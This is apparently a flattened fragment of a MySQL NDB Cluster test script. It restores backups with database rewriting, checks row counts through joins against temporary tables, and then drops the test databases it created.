$restore_opt=$restore_opt --rewrite-database=db2,db0 --exec $restore_cmd -n 1 $restore_opt --print > /dev/null --exec $restore_cmd -n 2 $restore_opt --print > /dev/null # summary-check ndb tables SELECT COUNT(*) FROM db0.t0; SELECT COUNT(*) FROM db1.t0; SELECT COUNT(*) FROM db2.t0; # fill temporary tables INSERT db1.t0_temp SELECT * FROM db0.t0_data; INSERT db2.t0_temp SELECT * FROM db1.t0_data; INSERT db0.t0_temp SELECT * FROM db2.t0_data; # verify ndb tables SELECT COUNT(*) FROM db0.t0 NATURAL JOIN db0.t0_temp; SELECT COUNT(*) FROM db1.t0 NATURAL JOIN db1.t0_temp; SELECT COUNT(*) FROM db2.t0 NATURAL JOIN db2.t0_temp; # delete temporary tables DROP TABLE db0.t0_temp; DROP TABLE db1.t0_temp; DROP TABLE db2.t0_temp; --echo ************************************************************ --echo * Deleting tables and databases --echo ************************************************************ DROP DATABASE db0; DROP DATABASE db1; DROP DATABASE db2;
Close